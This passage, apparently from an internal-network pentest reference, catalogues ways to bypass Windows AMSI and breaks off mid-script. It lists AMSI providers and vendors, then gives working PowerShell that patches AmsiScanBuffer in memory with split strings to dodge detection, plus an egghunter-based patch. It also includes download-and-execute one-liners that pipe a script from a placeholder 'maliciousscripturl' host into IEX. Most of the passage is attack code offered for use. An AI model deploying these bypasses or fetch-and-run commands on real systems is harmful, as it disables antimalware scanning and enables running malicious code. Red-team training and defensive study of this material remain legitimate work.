Internal Network Pentest and IR Reference: windows amsi bypass

# Windows - AMSI Bypass

## Summary

* [List AMSI Providers](#list-amsi-providers)
* [Which Endpoint Protection is Using AMSI](#which-endpoint-protection-is-using-amsi)
* [Patching amsi.dll AmsiScanBuffer by rasta-mouse](#patching-amsidll-amsiscanbuffer-by-rasta-mouse)
* [Dont use net webclient](#dont-use-net-webclient)
* [Amsi ScanBuffer Patch from -> https://www.contextis.com/de/blog/amsi-bypass](#amsi-scanbuffer-patch)
* [Forcing an error](#forcing-an-error)
* [Disable Script Logging](#disable-script-logging)
* [Amsi Buffer Patch - In memory](#amsi-buffer-patch---in-memory)
* [Same as 6 but integer Bytes instead of Base64](#same-as-6-but-integer-bytes-instead-of-base64)
* [Using Matt Graeber's Reflection method](#using-matt-graebers-reflection-method)
* [Using Matt Graeber's Reflection method with WMF5 autologging bypass](#using-matt-graebers-reflection-method-with-wmf5-autologging-bypass)
* [Using Matt Graeber's second Reflection method](#using-matt-graebers-second-reflection-method)
* [Using Cornelis de Plaa's DLL hijack method](#using-cornelis-de-plaas-dll-hijack-method)
* [Use Powershell Version 2 - No AMSI Support there](#using-powershell-version-2)
* [Nishang all in one](#nishang-all-in-one)
* [Adam Chesters Patch](#adam-chester-patch)
* [AMSI.fail](#amsifail)

## List AMSI Providers

* List providers with : `Get-ChildItem -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\'`
* Find software from CLSID

    ```ps1
    Get-ChildItem -Path 'HKLM:\SOFTWARE\Classes\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}'
    Name                           Property
    ----                           --------
    Hosts                          (default) : Scanned Hosting Applications
    InprocServer32                 (default) : "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2210.4-0\MpOav.dll"
    ```

## Which Endpoint Protection is Using AMSI

Small extract from [subat0mik/whoamsi](https://github.com/subat0mik/whoamsi) - An effort to track security vendors' use of Microsoft's Antimalware Scan Interface:

| Vendor/Product  | AMSI | Date | Reference |
| -------- | -------- | -------- | -------- |
| Avast | Y | 03/20/2016 | <https://forum.avast.com/index.php?topic=184491.msg1300884#msg1300884> |
| AVG | Y | 03/08/2016 | <https://support.avg.com/answers?id=906b00000008oUTAAY> |
| BitDefender Consumer | Y | 09/20/2016 | <https://forum.bitdefender.com/index.php?/topic/72455-antimalware-scan-service/> |
| BitDefender Enterprise | Y | 05/25/2021 | <https://twitter.com/Bitdefender_Ent/status/[PII_REDACTED]69295111?s=20> |
| Kaspersky Anti Targeted Attack Platform | Y | 10/10/2018 | <https://help.kaspersky.com/KIS/2019/en-US/119653.htm> |
| Symantec Advanced Threat Protection | Y | 07/15/2020 | <https://techdocs.broadcom.com/content/broadcom/techdocs/us/en/symantec-security-software/endpoint-security-and-management/endpoint-protection/all/release-notes/Whats-new-for-Symantec-Endpoint-Protection-14_3-.html> |
| Microsoft Defender for Endpoint | Y | 06/09/2015 | <https://www.microsoft.com/security/blog/2015/06/09/windows-10-to-offer-application-developers-new-malware-defenses/> |

## Patching amsi.dll AmsiScanBuffer by rasta-mouse

```ps1
$Win32 = @"

using System;
using System.Runtime.InteropServices;

public class Win32 {

    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
```

## Dont use net webclient

> Not Working anymore, there was a patch for it

```ps1
$webreq = [System.Net.WebRequest]::Create(‘https://maliciousscripturl/malicious.ps1’)
$resp=$webreq.GetResponse()
$respstream=$resp.GetResponseStream()
$reader=[System.IO.StreamReader]::new($respstream)
$content=$reader.ReadToEnd()
IEX($content)
```

## The Short version of dont use powershell net webclient

> Not Working anymore, there was a patch for it

```ps1
IEX([Net.Webclient]::new().DownloadString("https://maliciousscripturl/malicious.ps1"))
```

## Amsi ScanBuffer Patch

Egghunter with blog post: <https://www.contextis.com/us/blog/amsi-bypass>

```ps1
Write-Host "-- AMSI Patch"
Write-Host "-- Paul Laîné (@am0nsec)"
Write-Host ""

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Kernel32

Class Hunter {
    static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
        while ($true) {
            [int]$count = 0

            while ($true) {
                [IntPtr]$address = [IntPtr]::Add($address, 1)
                If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
                    $count++
                    If ($count -eq $egg.Length) {
                        return [IntPtr]::Subtract($address, $egg.Length - 1)
                    }
                } Else { break }
            }
        }

        return $address
    }
}

[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"

[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"

If ([IntPtr]::Size -eq 8) {
 Write-Host "[+] 64-bits process"
    [byte[]]$egg = [byte[]] (
        0x4C, 0x8B, 0xDC,       # mov     r11,rsp
        0x49, 0x89, 0x5B, 0x08, # mov     qword ptr [r11+8],rbx
        0x49, 0x89, 0x6B, 0x10, # mov     qword ptr [r11+10h],rbp
        0x49, 0x89, 0x73, 0x18, # mov     qword ptr [r11+18h],rsi
        0x57,                   # push    rdi
        0x41, 0x56,             # push    r14
        0x41, 0x57,             # push    r15
        0x48, 0x83, 0xEC, 0x70  # sub     rsp,70h
    )
} Else {
 Write-Host "[+] 32-bits process"
    [byte[]]$egg = [byte[]] (
        0x8B, 0xFF,             # mov     edi,edi
        0x55,                   # push    ebp
        0x8B, 0xEC,             # mov     ebp,esp
        0x83, 0xEC, 0x18,       # sub     esp,18h
        0x53,                   # push    ebx
        0x56                    # push    esi
    )
}
[IntPtr]$targetedAddress = [Hunter]::FindAddress($dllCanUnloadNow